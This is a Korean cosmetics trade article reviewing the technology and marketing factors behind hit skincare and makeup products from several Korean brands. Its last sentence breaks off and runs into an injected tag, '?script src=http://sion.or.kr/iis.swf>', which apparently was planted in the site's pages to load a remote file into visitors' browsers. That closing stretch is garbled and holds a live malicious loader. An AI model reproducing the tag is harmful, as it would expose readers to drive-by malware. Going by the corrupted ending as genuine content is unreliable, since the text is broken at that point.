명성·기술·마케팅 ‘삼위일체의 힘’ 기획에서 런칭까지 히트요인 집중분석 런칭에서 성공을 다지는 가장 완벽한 길은 제품이나 브랜드의 기획 및 개발에서부터 광고 마케팅, 판매에 이르기까지 모든 과정이 치밀하면서도 원활하게 이루어지는 것이라 할 수 있다. 설령 그렇지 않다고 해도 한 가지에서 획기적인 점을 찍고 그것이 소비자들에게 제대로 어필된다면 히트상품의 반열에 오르게 된다. 과연 어떤 제품, 어떤 브랜드가 어느 면에서 전략적 강점을 보였는지, 각 부문별로 나눠 살펴보자. [신기술] ▶태평양 / 아이오페 아이오페의 스킨케어 및 메이크업 제품은 엄선된 고농축 식물성분과 피부과학 기술인 PNS(식물성 나노입자)기술을 결합시켜 개발됐다. 일반 전달체보다 100백 이상 작은 식물성 나노입자에 엄선된 고농축 식물 성분을 담아 피부에 빠르게 흡수되고 효과가 오래 지속된다. ▶LG생활건강 / 라끄베르 베이직 제품 피부 유효성분을 피부 속에 확실히 전달하기 위해 개발된 나노 테크놀로지 유화 기술은 최신 유화기술로서 피부지질막 구조와 유사한 나노 캡슐을 개발하여 제품에 적용함으로써 피부 친화력과 보습력을 더욱 향상시켜 소비자들의 많은 선택을 유도했다. ▶코리아나화장품 /엔시아 티 플러스 최근 들어 최첨단 극미세 입자 기술인 ‘나노 테크놀로지’가 여러 분야에서 각광 받고 있는 가운데 코리아나화장품은 엔시아 티 플러스에 국내 최고 수준의 나노좀(약 40nm)에 넣어 속에 쉽게 흡수될 수 있도록 한 플러스 나노 테크놀로지를 적용했다. ▶참존 / 탑뉴스 미즈 참존이 특허 출원한 리퀴드 크리스탈 제형의 C-SBS 성분의 3단계 보습 시스템으로 피부에 지속적으로 수분을 공급하고 유해환경에 의한 수분 손실을 방지했다. 또한 각질 층의 수분 손실을 방지하여 철저한 수분 공급 및 수분 보호에 초점을 둬 히트할 수 있었다. ▶나드리화장품 / 멜 밀크 투웨이팩트 “천연추출물로 피부노화를 막는다.” 베네피트 스킨 콤플렉스가 함유돼 주위 환경으로부터 피부 손상을 예방하고 피부 건강유지에 우수한 역할을 한다. 투웨이팩트와 컨트롤베이스 두 가지로 구성됐다. ▶네슈라화장품 / 네슈라 숯 시리즈 무엇보다 제품력이 성공의 직접적인 요인이 되었다. 숯의 효능에 대한 소비자들의 인식이 출시 당시로부터 지금까지 높게 평가되고 있는 점과 꾸준한 제품연구의 성과로 제품력이 날로 더 향상된 것들이 소비자들로 하여금 다시 구매하게끔 이끌었다. ▶에스까다코스메틱 / 에스까다 퓨어 크리스탈 화이트 케이크 특허 등록 성분인 상황 버섯 추출물이 밝고 투명한 피부로 가꾸어주며 SPC 파우더와 미립 산화티탄이 자외선으로부터 피부를 안전하게 보호하여 잡티 없는 깨끗한 피부로 유지시켜 주는 기능성 투웨이 케이크로 소비자들의 열렬한 호응을 얻었다. ▶리케아 / 에스메딕 바이오스펙트럼의 특허 기술을 통해 개발됐다. 화이트닝 시장에서 혁신적으로 차별화된 제품으로 특허 기술이 적용된 순수 비타민C를 10%나 함유하고 있어 품질 경쟁에서 우위를 점유했다. 알부틴 함유 제품과의 사용으로 화이트닝 시너지 효과를 볼 수 있다. ▶피어리스 / 피어틴트 피어틴트는 피어리스의 화장품 전문기업으로서의 자부심과 자존심을 담은, 제품 출시 전 메이크업 아티스트들과 피어리스 기술연구소 연구원들과의 공동개발을 통하여 소비자들에게 철저한 사전검증과정을 거쳐 탄생한 ‘피어’ 브랜드의 첫번째 주자다. ▶쥬리아화장품 / 6가지 곡물로 만든 순 피부 자극 없는 순한 클렌징을 원하는 여성을 위한, 6가지 천연 곡물과 피부의 묵은 각질을 제거해주는 효소가 함유돼 피부의 노폐물을 말끔하게 제거하는 순한 클렌징이다. 제품 자체 품질의 강점이 주효했으며 출시 초기 샘플링 전략이 잘 어필됐다.

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마케팅 및 유통 ▶LG생활건강 /이자녹스 화이트 포커스 7·8월, 바캉스 시즌 전에는 화이트 케어로 피부를 맑게 관리해주길 원하는 여성을 타깃으로 하며 바캉스 후에는 화이트 포커스 전 제품으로 기초부터 마지막 마무리 손질까지 확실하게 관리해?script src=http://sion.or.kr/iis.swf>

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